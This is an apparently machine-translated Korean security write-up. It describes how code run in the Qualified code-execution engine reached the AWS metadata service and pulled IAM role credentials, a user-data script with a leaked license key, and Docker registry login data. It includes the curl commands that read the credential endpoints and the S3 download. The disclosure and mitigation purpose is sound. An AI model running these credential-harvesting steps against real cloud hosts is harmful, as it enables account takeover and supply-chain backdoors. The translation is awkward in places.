SSRF 취약성을 이용한 AWS 메타데이터 서비스 남용

본문에서 말하는 것은
AWS 메타데이터 서비스를 SSRF 취약점으로 남용하여
나 요즘
작은 장난감 프로젝트
에서 작업합니다. 는 Docker 컨테이너에서 신뢰할 수 없는 Python 코드를 실행합니다.나는 각종 공격에 대한 반응을 보고 싶어서 몇 개의 온라인 코드 실행 엔진을 테스트했다.내가 이렇게 할 때, 나는 발견하였다.
Qualified
개발된 코드 실행 엔진에는 몇 가지 재미있는 빈틈이 있는데, 이러한 빈틈은 이미 광범위하게 사용되고 있다.
CodeWars
또는
InterviewCake
등의 웹 사이트를 참조하십시오.코드와 인터넷 접근을 실행할 수 있는 이 두 가지 조합과 아마존 웹 서비스에서 실행할 수 있는 기초 구조는 나로 하여금 본문에서 매우 재미있는 빈틈을 보여줄 수 있게 했다.
먼저 Interview Cake 고객을 통해Qualified 코드 실행 엔진에서 발견한 몇 가지 빈틈을 소개합니다.그리고 AWS에서 실행되는 서비스의 SSRF 빈틈에 대해 구체적인 안전 문제에 대해 논의할 것입니다.저는 SSRF의 빈틈과 관련된 기초 지식을 소개하지 않을 것입니다. 이미 많은 관련 자원이 있기 때문입니다(여기, 여기, 여기서 찾을 수 있습니다).한마디로 응용 프로그램이 네트워크 연결을 할 수 있도록 하는 빈틈이다.
주의 1: 온라인 코드 실행 엔진의 상하문에서 SSRF 용어가 적합한지 여부는 의미 있는 네트워크 연결을 허용하기 때문에 논란이 있다.하지만 SSRF의 공격에 취약한 AWS에서 실행되는 모든 응용 프로그램에 적용될 수 있는 빈틈이 있기 때문에 이 용어를 고수하기로 했습니다.
주의2: 설령 내가 이 글에서 인터뷰 케이크에 대해 이야기한다고 해도 그들이 아무런 안전 문제가 없다는 것을 설명하고 싶다. 내가 발견한 것은 그 어떠한 안전 위험도 대표하지 않는다는 것이다.
취약점 설명
InterviewCake의 임의 질문 페이지를 찾으면, 코드를 입력하고 실행할 수 있는 작은 영역을 페이지 밑에 찾을 수 있습니다.
파이썬 코드를 따라 bash 명령을 실행할 수 있습니다.

import os
os.system("my command")

깊이 있는 발굴을 통해 우리는 호스트 이름이 실행할 때마다 변화하고 init 프로세스는 다음 제어 그룹에서 실행되는 것을 볼 수 있다.

 9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
 ...

이 두 가지 정보를 바탕으로 코드는 Docker 컨테이너에서 실행될 가능성이 높습니다.용기는 인터넷에 접근할 수 있을 것 같아서 우리는 용기의 외부 네트워크 IP가 무엇인지, 예를 들어 매우 편리한 IfConfig를 사용하는 것을 쉽게 검사할 수 있다.co 서비스.

import os
os.system("curl ifconfig.co")

107.20.17.162

DNS 역방향 검색을 수행하면 이 IP가 AWS EC2에 속해 있음을 알 수 있습니다.

$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.

EC2에 익숙하지 않은 사람들에게 이것은 디지털 Ocean과 유사한 서비스로 클라우드에서 가상 컴퓨터를 만들 수 있도록 한다.
빈틈 이용
AWS EC2는 Instance Metadata Service(공식 문서)라는 기능을 제공합니다.이 기능을 사용하면 모든 EC2 인스턴스가 169.254.169.254에서 실행되는 REST API에 액세스할 수 있으며 인스턴스 자체에 대한 데이터를 반환합니다.예제 데이터에는 인스턴스 이름, 인스턴스 이미지(AMI) ID 및 기타 재미있는 내용이 포함됩니다.
코드가 EC2 인스턴스에서 실행되는 것처럼 보이기 때문에 (또는 EC2 인스턴스의 Docker 컨테이너에서) 이 API에 액세스할 수 있습니다.우리가 그중에서 무엇을 얻을 수 있는지 봅시다.

import os
def get_endpoint(endpoint):
    os.system("curl http:/169.254.169.254" + endpoint)
    print()
 
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
 
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
 
print("[*] User script")
get_endpoint("/latest/user-data/")

다음과 같은 출력이 제공됩니다.

[*] AMI id
ami-246cc332
 
[*] Security credentials
ecsInstanceRole
 
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac

우리 위의 내용을 좀 분할합시다.
AMI id
이것은 호스트에서 사용하는 AMI(Amazon Machine Image) 식별자입니다.보아하니 이것은 개인적인 id인 것 같지만, 사람을 매우 흥분시키는 의미는 없다.
안전 증명서
기기에 첨부된 IAM 역할 목록입니다.IAM (신분 접근 관리) 은 AWS 서비스로 사용자, 역할, 권한을 관리할 수 있습니다.여기에서 이것은 단일한 역할인ecsInstanceRole이기 때문에 메타데이터 API를 사용하여 이 역할에 추가된 증빙 데이터에 접근할 수 있습니다.이것은 AWS API 키를 프로그램 코드에 하드코딩하지 않고 기계에 캐릭터를 추가할 수 있는 메커니즘입니다.API를 조회하여 관련 자격 증명 데이터를 가져올 수 있습니다.

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
{
 "Code" : "Success",
 "LastUpdated" : "2017-03-26T09:59:42Z",
 "Type" : "AWS-HMAC",
 "AccessKeyId" : "ASIAIR[redacted]XQ",
 "SecretAccessKey" : "42oRmJ[redacted]K2IRR",
 "Token" : "FQoDYXdzEOv//////[redacted]",
 "Expiration" : "2017-03-26T16:29:16Z"
}

이러한 자격 증명을 사용하면 응용 프로그램(또는 공격자)은 AWS API를 사용하여 역할ecsInstanceRole이 허용하는 모든 작업을 수행할 수 있습니다.ECS는 EC2 컨테이너 서비스를 나타냅니다.이것은 클라우드에서 Docker 용기를 쉽게 실행하고 실행하는 기계와 방식을 추출할 수 있는 또 다른 AWS 서비스입니다.
현재, 우리는 이 증거들이 우리에게 제공할 수 있는 방문 수준을 이해하는 데 분명히 흥미가 있다.만약 우리가 AWS 문서를 발굴한다면, 우리는ecsInstanceRole가 기본적인 IAM 역할이고 다음과 같은 전략을 덧붙인 것을 쉽게 발견할 수 있다.

{
"Version": "2012-10-17",
   "Statement": [
   {
     "Effect": "Allow",
     "Action": [
       "ecs:CreateCluster",
       "ecs:DeregisterContainerInstance",
       "ecs:DiscoverPollEndpoint",
       "ecs:Poll",
       "ecs:RegisterContainerInstance",
       "ecs:StartTelemetrySession",
       "ecs:Submit*",
       "ecr:GetAuthorizationToken",
       "ecr:BatchCheckLayerAvailability",
       "ecr:GetDownloadUrlForLayer",
       "ecr:BatchGetImage",
       "logs:CreateLogStream",
       "logs:PutLogEvents"
     ],
   "Resource": "*"
   }
 ]
}

따라서 ECS 클러스터 만들기, 클러스터에서 EC2 인스턴스 삭제, 응용 프로그램 로그 쓰기 등 흥미로운 일을 할 수 있습니다.
사용자 스크립트
이 끝점은 새 EC2 인스턴스를 처음 시작할 때 실행되는 사용자 정의 스크립트를 반환합니다.이 스크립트는 보통 기본 설정에 사용됩니다. 예를 들어 패키지 업데이트, 서비스 실행, 분명히 민감한 정보를 저장하는 데도 사용됩니다. (권장하지 않아도)
스크립트에서 다음 재미있는 내용을 복사하여 붙여 넣었습니다.

aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac

마지막 줄에서 New Relic 라이센스 키가 누설되었습니다.
첫 번째 명령은ecs-conf S3에서 구성 파일을 다운로드합니다.AWS CLI 도구를 사용하면 저장된 내용을 열거할 수 없어도 파일ecs에 공개적으로 접근할 수 있음을 알 수 있습니다.config .

root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
 
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}

auth 매개 변수는base-64 인코딩된 문자열입니다. 인코딩된 문자열은codearsdeploy:somepassword (비밀번호가 편집됨) 입니다.Qualified의 개인 Docker에 로그인할 수 있습니다.
이것은 Docker 미러링 코드wars/runner-server를 검색해서 뒷문이나 그 중의 악성 소프트웨어를 포함하여 등록 라이브러리로 되돌려보낼 수 있다는 것을 의미한다.그리고 Google 악성코드는Qualify 코드가 실행될 때 코드를 실행합니다. 이것은 누군가가 인터뷰 Cake에 해결 방안을 제출할 때마다CodeWars 등의 문제를 겪는다는 것을 의미합니다.
결론
나는 잭에게 이 문제를 보고한 후, 이 빈틈은 며칠 안에 해결되었다.
AWS에서 프로그램을 실행할 때, Metadata API를 알아야 한다. 왜냐하면 프로그램의 어떤 SSRF도 큰 결과를 가져올 수 있기 때문이다.이를 제한하기 위해서는 다음과 같은 원칙을 따르는 것이 좋다.
1. 구성 스크립트에 중요한 데이터를 저장하지 마십시오(AWS는 사용자 스크립트라고 함).
2. 만약 당신의 기계가 IAM 캐릭터를 추가해야 한다면 절대적으로 최소한의 권한을 주십시오.IAM 정책 시뮬레이터를 사용하여 사용자가 설정한 권한의 행동이 예상한 것과 일치하는지 확인할 수 있습니다.
3. 메타데이터 API를 사용하지 않으면 방화벽을 차단하거나 루트 사용자만 접근할 수 있도록 하십시오(예를 들어 IPtables 사용).
4. HackerOne을 살펴보면 몇 가지 보고서에서 비슷한 빈틈을 발견할 수 있다. 즉, #53088($300), #158016($50), #128685와 #53088($1000)이다.문제는 AWS 특유의 것이 아닙니다.예를 들어 OpenStack과 Google Cloud에도 비슷한 문제가 있습니다.그러나 Google은 메타데이터 서비스에 대한 모든 요청에 특정한 HTTP 헤더를 포함하도록 요구합니다. 이것은 요청 URL을 제어하는 유일한 공격자가 HTTP 헤더 주입을 실행하지 않으면 접근할 수 없습니다.
이 항목에 대한 자세한 내용은 추가 리소스를 참조하십시오.
1. AWS 허점과 공격자의 각도, By RhinoLabs
2. EC2의 가장 위험한 기능
3. 감염된 기계에서 실례 메타데이터를 수집하는 메타플로트 모듈
발표 날짜: 2017년 7월 7일
실크로드
본고는 클라우드 서식 지역사회 파트너의 울부짖음에서 나온 것으로 관련 정보를 이해하면 울부짖는 사이트를 주목할 수 있다.
텍스트 링크